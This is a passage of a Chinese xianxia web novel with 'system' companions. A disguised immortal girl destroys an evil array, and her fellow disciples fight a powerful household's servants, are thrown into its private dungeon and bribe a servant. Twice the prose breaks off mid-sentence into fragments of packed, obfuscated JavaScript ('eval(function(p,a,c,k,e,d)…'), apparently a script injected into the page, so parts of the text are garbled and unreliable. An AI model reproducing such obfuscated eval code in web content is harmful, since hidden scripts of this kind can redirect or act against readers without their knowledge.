晓之以理没用,009试图动之以情:【可是宿主,就算你不想回到现代,难道你就可以接受小师妹喜欢上别人吗?……第一次见面,你看到小师妹时的心率高达120,收缩压高达140,数据表明,这就是一见钟情!荀临师兄温文尔雅,而你总是冷冰冰的,如果我是女生,我也会更喜欢荀临师兄。】 万俟崖:【……有没有可能,我心率高是因为差点坠崖?】 两年前,万俟崖意外被传送到这个异世界,一睁开眼就发现自己身处一片森林中,脑子里只有“系统能量缓冲中”的提示。 大致捋明白了现状后,他四处寻找出路,不料跌进一道险沟,也是在那时,岑无忧出现在他面前,毫不犹豫地一把抓住了他的手。 心跳的确很快,但万俟崖并不认可那就是什么一见钟情。 人在那种情况下,只有劫后余生的大喜过望。 尽管后来系统告知他,以他当时的修为即便跌下去也摔不死,但他仍旧很感激。 她是他穿到这个世界后,抓住的第一只援手。 但感激之情和男女之情是两回事。 更何况,万俟崖顿了顿,第一次认真同009道:【小师妹还未成年,我不是禽兽。即便现在刷好感度,我也不是为了和她谈恋爱。】 009:【……哈哈。】 没认真刷好感度都能把好感度刷成-50,认真的话,好感度应该可以刷出【生死仇敌】成就呢。:D 走在最前方的岑无忧手指轻叩着手里的面具,神色一言难尽。 001持续爆笑:【009说它的宿主对你是一见钟情!!这么说,万俟崖也不完全是因为任务在攻略宿主了?】 岑无忧面无表情回它两个字:【滚蛋。】 四人逛到近三更才返回客栈,大包小包,几乎全是岑无忧的东西。 奔走了一天,回到客栈后荀临没有再拉着大家商讨后续的行程计划,只交代好好休息,别的事明天再说。 子正时刻,整条长街都慢慢静了下去。 岑无忧的房间熄了灯,卧房床榻却空空,窗户大敞。 月色下,却见一道身影坐靠在房檐上。 岑无忧枕着飞檐,翘着二郎腿,举起从客栈后厨拿来的酒坛有一口没一口地喝着。 夜色静谧,她的脑子里却聒噪得很。 001:【宿主,经过下山后这几天复盘,我对我们的任务产生了一个极其可怕的想法!】 岑无忧:“什么极其可怕的想法?说来听听。” 001:【我的权限高于009,所以我可以感知到009的能量波动,那有没有一种可能,002的权限也高于我,所以002也能察觉到我的存在,故意隐藏了起来,所以我不能感知到002的存在!】 岑无忧:“可怕在哪里?” 001:【如果真是这样的话,敌在暗,我们在明,这还不可怕吗?!】 岑无忧:“然后呢?” 001:【如果002得知我们的存在,让它的宿主在背后使阴招,那你……】 岑无忧:“那你应该放鞭炮庆祝,踏破铁鞋无觅处,得来全不费工夫。” 001本想再跟宿主商量出个计划ABCD,这么一斟酌,好像也对哦! 以它宿主渡劫期的修为,什么阴招都是跳梁小丑! 001:【……对,忘了你是活了几百年的老……老神仙了!】 岑无忧轻笑一声:“凡人百年,修士的寿命千年万年。才过去两年而已,不过弹指一挥,着什么急。不管是还没出现,还是躲在暗处,它可以试探我们无数次。但我只要抓住它尾巴一次,它就得灰飞烟灭。” 001:【!!^^有老大做靠山的感觉真好!】 一个透明小球飞了出来,绕着岑无忧飞了好几圈,停在岑无忧肩头,一副小鸟依人的模样,谄媚道:【宿主宿主,小弟膜拜膜拜你!】 春风拂动岑无忧的发丝,长长的抹额在风中招摇。 她放下酒坛,伸了个懒腰,正准备回房间,眼睛忽而眯了眯。 远处淡淡的黑气笼罩着,如乌云闭月。 她抬手扯下抹额,一瞬间,似乎连她身边的风都静止了。 但仅一瞬,一切又都恢复如常,屋檐上已经没了任何身影。 系统的小光球化作了一道光影,疾速追上那和风已经化作一体的身影。 行至一处深宅大院,岑无忧停下了身形,站立在屋檐上,负手俯望着屋檐下巨大的阵法幻影。 001慢一步飞到岑无忧肩上停下,疑惑:【宿主,怎么了?】 岑无忧没有掩饰自己的声音,声线微冷:“这个阵法……有点意思。” 001腾空飞起,在庭院上空转了转,看见了一些纵横错杂的线条:【这是什么东东?】 岑无忧:“一个邪阵,能把活人的生气转为气运。” 她话音一落,一道闪电般的符咒从一侧朝她袭来,却还没接近她就在她身前化作了碎片。 黑气凝结,一道穿着黑色披风,头戴兜帽的身影出现在庭院中。 兜帽下的目光含着惧意,声音沙哑阴沉:“不知是何方道友大驾光临?” 岑无忧淡淡:“无名,路过。” “既是无名,想来也不愿多管闲事,那就请道友离开吧。” “是不想多管闲事,不过你这阵法我不喜欢,只好得罪了。” “找死!”那黑衣人瞬间拉近和岑无忧的距离,打出了一记狠招。 岑无忧连手都没抬,只开口吐出一个字:“破。” 一字落下,犹如言出法随,周遭的空气猛地一震。 霎那间,黑衣人靠近的身影断续凝滞在空中,无法再往前一步,眼神惊恐万状。万籁俱寂,只听“噗”一声轻响,像鱼泡被踩爆的声音,黑衣人喉咙里发出了一声凄厉的惨叫,从心□□发出了一股黑雾,转瞬,人影变成了邪气四散,只有一身衣袍从空中掉落,而原本隐隐放着暗光的阵法也刹那失去了光泽,隐入尘埃。 001从屋檐下飞出来,在那黑色的衣袍上转了转,好奇问:【这就死了吗?】 岑无忧依旧站在屋檐上,连脚步也没有挪一寸,“巫蛊替身,真身不在这。” 001:【巫术?!好卑鄙!一定是邪修!!】 岑无忧耳朵动了动,忽而转头往客栈方向看了一眼,“啧”声道:“有人察觉了,得回去了。” 001飞进岑无忧身体里,眨眼间,眼前的庭院就变回了客栈的桌椅床榻。 “嗵嗵。” “师妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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岑无忧一手抓着馒头啃,好奇:“是在哪儿啊?” “太傅府。” “那是什么地方?” 岑无忧对人间官场不感冒,没啥概念。 荀临解释:“太傅府就是现在的首辅贺家。贺家曾有一三朝老太傅,不日前过了世,现又有一入阁的首辅贺阁老,权势正盛。可以说是……” 他忽然意识到什么,顿了顿。 加欣合也是筷子一顿,她望向荀临,“贺家已经权势滔天,还玩弄邪术,难不成是想……” 俩人同时陷入了沉默。 历史不好的万俟崖:“……” 好像懂了又好像没懂。 岑无忧也没理解他俩这半截半截的猜谜语:“啥意思?” 加欣合低声道:“这贺家一太傅、一阁老,在朝野中想必已是一人之下,万人之上,若贺家不满于此,还要往上一步,那就只有……” 她指了指头上。 万俟崖身为社会主义春风下长大的新世纪人民,对封建帝制没什么讳莫如深的敬畏感,保持沉默。 岑无忧活得比穿龙袍的祖孙三代都久,更没啥敬畏感,大喇喇道:“贺家想当皇帝啊?” 加欣合心脏差点停跳,一把捂住了岑无忧的嘴,小声道:“小师妹,隔墙有耳。” 灵山和人间皇室向来是两不相干的。一旦修士的能力介入朝堂和皇室斗争,那便是人间大难。 修士背不起这样的因果,束手旁观也好过有朝一日被雷劫劈死。 如果真是他们想的那样,那荀临现在就是骑虎难下了。 管不管,这因果都已经缠身。 岑无忧见他俩讳莫如深,干脆提议:“那要不算了,我们回去呗。” “既然来了,至少要弄明白这因果从何而来,”荀临道,“我会以嵇阳荀氏之名写拜帖登门拜访贺家。” 加欣合道:“那我扮作侍女跟你一同入府。” 几人正商议着,楼下突然传来一声粗鄙不堪的斥骂:“老匹夫!瞎了你的狗眼!连老子的路也敢挡!” 8. 第八章 第八章 客栈一楼,一老头被踹得仰面翻倒。他顾不得疼,连滚带爬地跪伏在地,不住地磕头:“大人饶命!小人不是有意的,大人饶命啊!” 有人实在看不过去,刚想开口劝阻,却被旁边的人一把拉住,低声道:“别管闲事,没瞧见那些人穿着的是贺家的衣裳?” 岑无忧四人从雅间出来,正听见这一句话。 四人对视一眼,齐齐走到围栏边向下看去。 只见地上倒着一竹篓的炭,三个膀大腰圆的汉子站在一佝偻老人面前。老人垂垂老矣,跪倒在地,满目泪水。 听到“贺家”二字,原本还想仗义执言的路人瞬间噤若寒蝉。 见众人畏惧,那几个家丁越发跋扈。当中一人狞笑一声,拎起装炭的木桶,照着老头的脑袋就要狠狠砸下去。 掌柜连声喊着:“使不得!使不得!”肥润的身体迈着碎步从后院跑进来。 “几位贵客,这小老儿是来后厨送炭火的,不知怎么冲撞了几位贵客,小的在这里给几位贵客赔礼道歉了。”掌柜俯下身体,拱手作揖。 那几人却不卖他面子。左一的方脸汉子推搡道:“滚一边去!这老头不长眼,我大哥教训教训他,哪有你说话的地!” “客官……” 不等掌柜把话说完,右一的胖子抡起一条椅子往桌上重重一砸,横肉震颤:“你要护着这老头,那就连你一块揍!” 那掌柜尽管想出头,可实在胆颤,竟僵持在原地连话也说不出一句了。 就在这千钧一发之际,“铮”的一声响,一道身影提着剑从二楼径直飞身而下,冷声呵斥:“宵小之辈,欺人太甚!” 四周围观的人见有人拔剑,生怕殃及,立马四散开来。 那三人一再被下面子,更是恼怒。为首的人还算冷静,见下来之人年纪虽轻,却衣着不凡,先问:“你是何人?竟敢多管闲事!” 万俟崖剑刃挑起一条椅子往前砸去,“管我是谁,今天这闲事,我管定了!” 胖子不留神被他挡胸一击,痛呃一声,差点吐血。 见他不敢报上身份,那为首之人心里一盘算,觉得此人定然不是什么大人物,一挥手:“给我揍他!” “师弟!我来助你!”加欣合早就看这些人不顺眼了,当即也从二楼跃下,当面迎击。 荀临一眨眼的工夫,身边两个人都下去了,他气笑:“这两个……” 那三个人竟还有些手脚,三人配合严密,一人拿棍子,一人拿刀,一人持鞭,出手就是杀招。说是家丁,却形同恶匪。 万俟崖和加欣合心有顾忌,不敢伤人性命。 一人刚要挥剑,又怕将人劈作两半,硬生生收了力道,结果反被那胖子一棍子逼退了半步。两人左支右绌,只敢拿出三四分的能耐,很快进攻变成了防守。 客栈里的客人都吓得四散奔逃。掌柜也吓得拽着那老头就连滚带爬地躲到了钱柜后去,见这几人恨不能将他的客栈拆了,满脸的欲哭无泪。 “师妹,回房间里去!”见师弟师妹隐隐落下风,荀临向岑无忧交代了一句,也飞身下了楼。 岑无忧寻了个视角极佳的位置,在楼梯上坐下,还不知从哪掏出了一把黄豆看起了戏。 几个筑基期的修士,在不用灵力的情况下,竟然被三个稍有些手脚的凡人压制住,现在的各门派真是越来越不济了。 岑无忧看得啧啧,心里直摇头。 好在荀临的加入让局势顷刻有了转机,他辖制住了双方的刀枪剑戟,暗含警告地同万俟崖和加欣合沉声说了句:“你们俩差不多了!” 他手持折扇,并未出剑,折扇一转,含着劲风,将那三人齐齐推翻。 折扇一收,荀临挡在师弟师妹身前,和那三个“恶霸”道:“尔等不是我们的对手,滚吧!” 那三人哪是这么容易认输的,已经打红了眼,其中那胖子手伸进怀里,一掏,就要朝前扬去。忽而一道几不可见的疾风射来,那胖子手腕一偏,惨嚎一声,手里的暗器顿时掉落在地,竟是淬毒的飞镖。 一粒圆滚滚的黄豆掉落在地,咕噜咕噜滚到了荀临脚边。 荀临朝楼梯上看了一眼。岑无忧正把黄豆嚼得嘎嘣响,满脸的清澈无辜。 “下作!” 加欣合见了那毒镖,怒不可遏,当真浮现了杀意,拔剑就要刺向那胖子。 荀临一把抓住她手臂,视线一转,拉过旁边的木桌反手一推,“啊”的一声惨嚎,桌子直直压在了那三人身上。 他神色冷酷,同那三人道:“还不快滚。” 一番试探,那几人也瞧出了他们不是常人,心下多了顾忌。 “你们给我等着!” 放了狠话,那三人连滚带爬地出了客栈。 荀临回身看这两个不让人省心的师弟师妹,无奈问:“你们两个没伤着吧?” 万俟崖绷着脸摇头。加欣合收了剑,道:“没事。” 荀临上下打量两人几眼,见他俩的确没破一点皮,这才落下心,又给了他俩一个待会再找他们算账的警告眼神,挂上了一副笑脸,朝客栈掌柜走去。 整个客栈已经被拆得狼藉一片。客栈掌柜和那卖炭老头在钱柜后瑟瑟发抖。 “掌柜,实在不好意思,你看看你这客栈损失了多少,我们照价赔偿。” 那掌柜连哭都哭不出了,哪还敢让这些杀神赔钱,“不……不用了,几位客……义士,多谢多谢,只是那三人乃是贺家的护院,常在这附近晃悠,一贯跋扈。几位远道而来,恐怕不知这贺家是如何权势滔天。这些人是一定会回来找你们算账的。几位义士还是趁早走吧,不然恐怕会惹上大麻烦的!” “多谢掌柜了,此事我们会从长计议。”荀临从袖子里掏出了一个钱袋,放在了柜台上,“这些就当补偿店家损失了。” 做完这些,荀临恨铁不成钢地回身,一手拎一个,“跟我上楼!” 客栈房间内。 万俟崖和加欣合自知理亏,两人站荀临面前,不辩一词。 “下山时候都怎么说的?不暴露身份,不沾染因果,少管凡人的事。说的时候各个都懂,做的时候,各个都忘了。”荀临拿起折扇,在两人脑袋上各敲了一下。 岑无忧坐在桌子一侧,嘴里不知道又在嚼什么,闻言帮腔地点点头,“就是!” 荀临睨她一眼,又看向加欣合,更是恨铁不成钢,“你是师姐 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岑无忧咽下嘴里的东西,面不改色心不跳地睁着眼睛瞎扯:“哦,那个啊……我看你们打架,看得太紧张了,忍不住想帮忙。谁知道那人那么倒霉,刚好被砸中了?真是老天有眼啊!” 荀临:“……” 万俟崖:“……” 加欣合:“……” 就在这时,万俟崖脑子里的009爆发出了一阵后悔莫及的干嚎:【呜呜呜!宿主你这个辣鸡!不仅没有在小师妹面前展现你筑基期强者的雄风!连三个凡人都打不过!要靠师兄和小师妹救场!你的脸呢!原本小师妹对你印象就很差了,这下……嘎?】 万俟崖头都被它嚎得抽痛,在心里不耐烦道:【闭嘴!】 009:【不……不对!小师妹好感度变了!!!现在竟然是——0了!!哈哈哈哈哈哈!!宿主,你涨了50点好感度!!整整50点!!我们胜利在望啊宿主!!】 别说系统,万俟崖也震惊了,下意识看了一眼岑无忧。 只见她不知从哪又掏出了一把干桂圆,正捏碎了桂圆壳,塞一粒桂圆继续嚼嚼嚼。 万俟崖:“…………” 不管怎么说,的确是……非常好的好消息了。 客栈掌柜收拾了狼藉的大堂,又重新开张营业,只是兢兢战战生怕那些恶霸再打上门来,惊弓之鸟一般时不时扭头向门外张望。 可他心惊胆战了一整日,也没有任何人上门来算账。直到入夜已深,想到那些恶霸可能就是些欺软怕硬的货色,挨了打,当真不敢再上门来找事,客栈掌柜那吊了一天的心这才算踏实落回肚子里了。 心情一好,这客栈掌柜还派小二上楼给那几位义士每人送了一份甜点。 五更末时,天色蒙蒙亮,寂静的客栈外街面上传出了一阵极大的喧嚷声。 客栈小二刚启店,正在柜台清点货物,闻声转头往外看,就瞧着一队人马直奔他们客栈来。 还没搞明白是什么情况,就见那一队人长驱直入。领头的赫然穿着京兆府衙役的公服,腰挎官刀,厉声喝道:“封锁店面,拿下贼人!” 9. 第九章 第九章 小二顿时脚下一软,“几位官爷……” 他话还没说完,就被人拿刀指着脖颈厉声问:“那几个贼人在何处!” 小二两眼发晕,嘴皮子都哆嗦了起来:“什么,贼……贼……” 见他语无伦次,来人并无耐心多加盘问,抵在他脖子上的利刃往前一击,喝令道:“上楼搜!” 小二只觉脖颈一凉,闭眼一声惨嚎,两股霎时颤颤,险些要尿出来。 好一会儿,没觉出痛,他兢兢战战睁眼看,发觉自己脑袋还踏踏实实安在脖颈上,而持刀指着他的那人正转头惊震地看着楼上。 那手持长剑,一身玄色劲装的公子从楼上飞身而下,睇了他一眼,说:“躲起来。” 小二早已吓破了胆,立刻连滚带爬钻进柜台下。 柜台外是刀器乒乓相接。短暂交手,试出了厉害,那衙役厉声道:“果然是你们!拿下他们!” 小二探出一双眼睛,看得目不暇接,又见那常手持折扇的客官出来了,依旧一副笑模样,不急不缓问:“不知几位差官是为何拿我们?” 那衙役喝道:“你们趁夜行凶,杀死太傅府两名下人,人证物证俱全!” 一女子怒声对峙:“放屁!我们四人昨日连客栈都没有出过!” “想来其中定然是有什么误会了,”那折扇公子依然语气四平八稳,“我们配合几位差官去解释清楚就是。” 那衙役心下警惕不减,依旧牢牢握着刀,一挥手:“将这四人统统拿下!” “不劳烦各位动手了,我们四人同你们去便是。”片刻,见衙役拿出麻绳来绑人,那折扇公子叹气,“何必还要绑起来呢?” “废话那么多,再说一句,第一个斩你!” “师兄,你们也没说陪你们下山还要蹲大牢啊。”那年纪轻的小姑娘也被绑住了手,嘟囔着抱怨,“绑疼我了都。” “各位差官,我这小师妹年纪小,劳烦关照一二,就不要绑这么紧了。”荀临好声好气商量。 那暴脾气的女子却没这么好态度了,呵呸一声,怒斥:“狗官!” 唯独那手持长剑的公子,与那衙役头子依旧相持不下。直到收到折扇公子的眼神暗示后,他才慢慢松开剑,压抑着不快,任由几个衙役拿麻绳绑住他双手。 四人如糖葫芦般成串走出客栈,走进雾色蒙蒙的长街。 那小二虚脱地滑倒在柜台后,心下想,这四位客官恐怕是凶多吉少了。 荀临递出眼神后,三人就读懂了他将计就计的意思,没怎么反抗就依着那群衙役被带进了牢里。 不过稀奇得很,关押他们的四人被拿下后却没有被押进官府大牢,而是被带至一处偏门,那几个衙役蒙住他们眼睛,带着几人左拐右拐后似是进了一处地下暗室。 一刻钟后,绳索解开,四人被推进了牢房。 刚一进入牢房,四人就听到了某种兽类呼哧低喘的沉重呼吸声,周遭有浓重的血腥气,竟像是进了屠宰场一般。 加欣合解开了蒙布,又赶紧帮小师妹解下眼布,问她:“那几个狗官是不是绑疼你了?” “没事的。” 加欣合不放心,抓着她手细看,瞧见了两只白嫩嫩的手腕上一圈的红,顿时内疚不已:“没想到这些人这样不讲道理,还不如让你不要下来的好。都怪我……也怪你师兄!” 岑无忧脸皮一向厚似城墙,难得竟真有些不好意思了,抽了抽手:“真没事,我也没有那么容易受伤。” 加欣合左瞧右瞧,还是偷偷给她施了个化愈术将那红痕消去。 009:【宿主,跟你大师姐学着点,但凡你有大师姐一半的细心,我们的任务早就完成了!!】 万俟崖:“……” 009恨铁不成钢:【还愣着干什么!!赶紧过去表示两句关心啊!!】 万俟崖眼观鼻鼻观心,像个门神一般戳在牢房口,一动不动。 牢房外的衙役拿出锁链将牢房门一圈一圈锁上,又凶神恶煞道:“都老实点!” “几位差官,我们可没有认罪,自然也不是犯人,这样抓捕,恐怕不合律法吧?” “律法?”那衙役啐一口,“马上你就知道什么是律法了!” “唉,没想到进京竟遇到这种祸事,各位差官,我们可真是冤枉的,你们可要还我们清白啊!”荀临像个文弱书生那般唉声叹气,一副一筹莫展的摸样。 他倒还算配合,那衙役冷哼一声,看向万俟崖,警告道:“尤其是你,老实点!” “行了,人带到了,我们走。”那为首的衙役摆摆手,带着人离开了地下暗室。 加欣合憋了一肚子窝囊火,狠狠踢了牢门一脚,“这劳什子的京城!我宁可去杀妖除魔也不想再来这些地界!” “师妹此话差矣,这牢房,偶尔体验一番也是别有乐趣的。” 几人的武器都被收缴了,唯独荀临那把折扇还留在身上,他扇子一挥,又恢复了那风度翩翩的模样。看得加欣合真想啐他一口。 荀临慢悠悠走到那石壁前,拿扇柄敲了敲。 声音沉闷,实心的。 加欣合没好气地问:“干嘛呢?” 荀临依然是那副笑吟吟的模样:“这就叫踏破铁鞋无觅处,得来全不费工夫。咱们不是一直想进这太傅府吗?现在不就进来了。” 加欣合一愣,随即反应过来,惊讶道:“这里是太傅府?官差抓人,不应该把我们抓去衙门大牢吗?” “那日我追踪邪气到太傅府,突然就断了线索。”荀临慢条斯理说,“如果那邪气不是偶然进入太傅府,那就是这太傅府有个邪气极盛的高手。我能发现他,只怕他也已经盯上了我们了。” “你是说……是那邪修控制了太傅府?”加欣合皱眉。 “这不好说。不过仙门和各国早有规矩——军队不入仙山,修士不可伤官差。即便官差无礼,咱们也只能上报接引院处理,不能动手拒捕。”荀临继续道,“适才拿我们时,那几个衙役用的是绳子,说明他们不知道我们的身份,只是照令行事。若知晓,便清楚这绳索对我们并无用处。再说,他们不把我们关进衙门,却送到这太傅府私牢,说明这背后之人虽与我们为敌,却躲在暗处不敢露面……” “谁说小爷躲着不露面!” 只见那地牢口走出来一个圆润、一身锦服的少爷,一副天不怕地不怕的纨绔模样。他身后跟着一个穿着黑色披风、戴兜帽的男子,连头脸都挡得严实,气息隐匿,几乎成一道暗影。 荀临的目光只在那纨绔身上一略而过,认真端详那黑袍人片刻,竟瞧不出对方实力深浅,心下暗惊。 “刚刚不是挺能说的吗?怎么,现在看到小爷,都哑巴了?”贺彦兒恨恨盯着他们,“你们杀了我的虎奴和鹰奴,我要把你们剥了皮,全部剁碎了去喂我的老虎和鹰!!” 荀临复又挂出了那笑模样,合起折扇往前走了几步:“想必阁下便是首辅独子贺彦兒了?” “呸!”贺彦兒啐了一口,“本少爷的名字也是你能叫的?” “失敬失敬,”荀临反握扇柄,拱手笑吟吟做礼,“只是不知贺少爷请我们来这儿,是有什么事需要我们相助呢?” “我呸!”贺彦兒还没见过敢在他面前这么大言不惭的,越发恼恨,“等把你们剁碎了,你们就知道来这里是干什么了!” “适才贺少爷说虎奴和鹰奴?”荀临探究问,“莫非是一个胖大个和一个大方脸?” “果然是你们杀的!” 贺彦兒顿时暴怒,不等四人辩解,他一把拔出身后黑衣人腰侧的长剑,发疯似地一剑砍在玄铁牢门上。 那玄铁坚硬无比,被砍打得发出尖锐难听的金属刺响,令人不由想捂耳。 可荀临不但没被吓着,还赞一声,“这玄铁可是有价无市,竟能拿来做地牢,贵府真是财大气粗。” 他越淡定,越显得贺彦兒气急败坏。 贺彦兒脸皮抽了抽,而后,他抬起剑指着荀临,命令道:“傀二,给我杀了他!” 傀二显然就是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“贺彦兒就是个凡人,没有修为。至于那黑衣人……”加欣合也皱了皱眉,“恐怕少不了要和他交手了。不过我们有三……四个人,也不能算完全落下风。况且他要是真的实力高深,也不会甘心被一个凡人使唤,多半是使了什么邪修法子隐藏了修为。” “这倒也有理……” 见他们聊得有来有往,岑无忧长长地叹了口气,心道真不知道到底是这寻山宗太废了,还是现在的小辈都这么废柴,竟连一个小小的障眼法都看不出。 她坦然作壁上观,从袖子里掏了掏,想掏出点什么嚼嚼,发现两袖空空,郁闷道:“师兄,师姐,我饿了,今天还能有早饭吃吗?” 师妹一开口,加欣合就被拉回了注意力。她伸手在身上摸了摸,没摸出个什么,越发对荀临不满:“都怪你,什么准备都没有就害我们进了地牢!” 背锅的荀临:“……” 岑无忧又将希望的目光看向荀临。 荀临摸了摸袖子,只从里面掏出了几个钱袋子,轻咳了一声,“这个……早上略有些匆忙了。” 岑无忧越发嫌弃了。一个宗门,堂堂内门亲传弟子,连个像样的须弥芥子都没有。 她目光最后望向万俟崖。 荀临说:“他就更不用问了。除了那把剑,你见他身上还带过别的什么吗?” 话刚说完,他就被打脸了。 万俟崖犹豫了一下,手伸进怀里,慢吞吞掏出了一个油纸包。 荀临惊讶问:“你什么时候身上也爱放吃的了?” “前日夜市买的肉脯。”万俟崖言简意赅。 荀临赞道:“真是及时雨了。” 009也难得高兴一回:【没想到你买来喂猫的肉脯派上了大用场!!小师妹肯定会感动的!!这就叫双向奔赴!!】 听到009哇哇叫的岑无忧:“……” 10. 第十章 第十章 盯着那包递过来的肉脯,她面无表情:“早上吃肉脯太腻了,我不想吃。” 不吃肉脯,此处就只有四面石壁、玄铁、一头自闭的老虎和四个人了。 石头和铁自然不能吃,吃人倒也还没到那个地步,加欣合的目光转到了那头趴到墙角自闭去的老虎身上。 “要不,吃炙肉?”加欣合幽幽的目光落在老虎身上。 虎哥察觉不对劲,警惕地站起身,看向这四个明明看着很弱小,却又让它莫名心生恐惧的人类。它下意识想发出低吼威胁人类,再次发出难听的“嗬嗬”声后,虎哥心态彻底崩了。它耳朵朝后夹着,四肢下伏,尾巴发颤,警惕地盯着四个人类,察觉人类没有立马扑过来的意图后,它开始缓慢朝后退,直到退回洞穴内,飞快转身跑了。 岑无忧叹气。 “我要吃馒头,我要吃油饼,我要吃杏酪羊——”岑无忧一屁股在地上坐了下去,屈膝支着下巴,有气无力地喊着,连往日神采奕奕的小揪揪都耷拉了下去,像极了只病殃殃的垂耳兔。 “荀临,小师妹饿了,快想想办法。”加欣合朝荀临喊。 荀临敲敲牢房栏杆,这是玄铁做的牢笼,除非是金丹期的修士,结丹后能幻化分身出去,又或是元婴期的大能,能直接破开禁制,可他离金丹不是还差着一截么,这也飞不出啊。 万俟崖显然是头铁的那个,他掐了个普通的遁墙决,然后哐当一下撞在了玄铁上:“……” “玄铁对灵力有克制,师弟不用再试了。”荀临微笑。 万俟崖揉了揉额头,默默地没再吭声。 009在他脑子里已经笑炸了,像一壶爆沸的开水:【哈哈哈啊哈哈哈好丢脸……嚯嚯嚯……哈哈哈啊哈哈哈……】 万俟崖已经习惯了,任由它魔音贯耳。 岑无忧捏了捏额角,很想越俎代庖地强行让009闭嘴。 和这三个人出来游历一圈,令岑无忧真心实意对寻山派的未来产生了担忧。见这三人真就愁眉不展起来,岑无忧实在看不下去了,她道:“师兄,我们出不去,不是还能让他们进来吗?” “师妹的意思是?” “那个贺什么什么的,不是很宝贝那头老虎吗?让那老虎把他叫过来。到时候我们再谈谈条件,一顿饭也还是能吃上的吧。” “让那老虎把他叫过来?”加欣合微愣,没懂这个意思。 岑无忧眯起眼睛微笑:“拖出来,揍它。” “挟天子以令诸侯,妙啊!” 荀临心甚慰,甚至觉得自己的“绝学”后继有人了! 其实对这玄铁牢笼,他并没有多担忧,无法强行破笼,但总有其他许多办法,只是不料京城出了变数,此前所有的安排都得重新部署周全,是以他不着急出地牢。 不一会儿,那好好藏进自己洞穴里的老虎,以尾巴超前,脑袋朝后,四肢用力扒着地板的姿势被从洞穴里以灵力强行拖了出来。 四只爪子在地板上抓出了深痕,它无助得像个三岁的孩子,垂着尾巴发出了呜咽。 虎哥真的很无助啊! 还是一头幼虎的时候它就被关进了这地牢,一直是吃人类投喂的肉,身上长得全是肥肉,好不容易来了几个活人,还这么恐怖! 它再也不跟人类玩了!妈妈!人类是坏东西!! “吼——” “嗷——” “嗷嗷嗷——” “呜——” 白惨惨的阳光照着假山石壁,路过此处的下人忽而后背发凉,低声问身边人:“你有听到什么声音吗?” “没……没有,”身边那人更是抖得和筛糠似的,手上的笤帚都快拿不稳了,“别忘了管家的交代,不……不该看的,别看,不……不该听的,别听。” 两人低头颔首,恨不能在胸口挖个洞,将脑袋藏进去,形色匆匆,慌慌张张走出了这假山园林。 守在门口的侍卫认得这二人,没有多加阻拦,但见这二人神色紧张,心下略有警惕,转身进了园林里巡视一番。 侍卫的耳朵自然也不差,听见了那响动并认出了是地下的老虎。 从那饲养老虎的虎奴遇害到今日辰时末,是过了该喂食的时间了。想着兴许是地下的老虎饿得发狂了,侍卫便立刻也出了园林去向管家禀报。 不多会儿,这地牢外有了别的响动,是从那老虎洞穴位置上传出来的。或许是没看见老虎,荀临几人清晰听到地牢上有人“欸”了一声。 紧接着那洞穴里又“嗵嗵”几声,似乎是有人在往下扔什么东西,紧接着一股浓郁的血腥味飘散来。 万俟崖隐隐有些反胃,脸色发青:“他们在扔什么?” “是禽类的血腥味。” 荀临拍了拍他肩膀,以作宽慰。 适才还生龙活虎的虎哥这会儿真能从嘴里吐出半口虎魂了,奄奄一息地趴在地板上,尾巴被燎掉了一半的毛,腹部抽搐两下,“哇”一下呕出了一股带着腐臭气的呕吐物。 顿时血腥味、呕吐物味、兽味、禽臭味交织,充斥满整个地牢。 岑无忧拖长了调子喊道:“别扔了,再不来人,你们的虎大爷就要归西了——” 万俟崖适才下手最轻,毕竟是现代人,对老虎总还有几分对待保护动物的犹豫,只浑水摸鱼扔了两下灵力。这会儿反应却最强烈,几股味道一冲,他嘴里泛起了苦水,心道不好,扭头就想跟着吐了。 一见他扭头,岑无忧仿佛他肚子里的蛔虫,惊跳了起来,大喊一句:“你敢吐在这试试!”见他弯腰,下一秒她一个清心咒就丢了出去,一道绿光在万俟崖心口一映,霎时间他头脑清明,比喝完一整瓶藿香正气水还清醒百倍,也不想吐了,生生把到了嗓子眼的反胃又咽了下去。 三人齐齐扭头,震惊地看向了岑无忧。 “小师妹!你刚刚掐诀了?”加欣合惊讶无比。 “现在能不借符咒直接掐诀,师妹的修为定是有所增长了,等回到宗门,说不定还能赶上今年夏旬的考核。”荀临替她欣慰起来。 每年夏冬都有两次外门弟子进内门的考核,至少需达炼气后期的修为。岑无忧在炼气初期两年如王八般一动不动,已经接连四次落榜,大家嘴上安慰,其实心里都暗暗着急。此时想她修为兴许增进了,自然高兴。 好在清心咒的确是个非常基础的入门法术,这么一打哈哈,也让岑无忧蒙混过关了。 只有万俟崖总觉得哪里不太对。 他感觉自己现在去跑个马拉松都能轻松往返一个来回 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荀临也蹲了下来,同他道:“兄台莫怕,这老虎兴许是自己吃了什么不干不净的东西闹肚子了,待会我们也能作证。我们四位原是想来拜访贵府夫人的故人,却不知是什么缘由冲撞了小公子,被扔来了这地牢,在下想托兄台给贵府上官夫人带个信物,这是酬劳。” 那下人一听他们是冲撞了小公子,想也没想就要拒绝。 荀临从袖子里掏出了一个钱袋子,袋子一打开,金灿灿的金锭直直映进人眼底。那下人做了一辈子仆役,这辈子也没见过一块真金,顿时眼都直了。 见他两眼发直,荀临就知道有戏,他手往前一抛,将那装着金锭的袋子扔出了窄窄的地牢缝隙,落到了那仆役面前。 荀临又道:“这只是定金,待兄台替我办好了事,还有一袋金子给兄台。兄台拿了金子,我再在主人家面前给你求个恩典,你离开这太傅府,脱了奴籍,也不用来伺候老虎了,回老家买一处宅子,做个有钱员外郎,岂不美哉?” 人性是禁不起试探的。荀临这几套迷魂药灌下去,又是金子,又是脱奴籍,又是光宗耀祖,几个人能扛得住? 哪怕要把脑袋栓在裤腰带上也值了,毕竟这照顾老虎又何尝不是掉脑袋的活? 那下人一骨碌爬了起来,视死如归般压低声问荀临:“公子想要我帮你做什么?” 荀临解下腰上的玉佩,道:“接住了。” 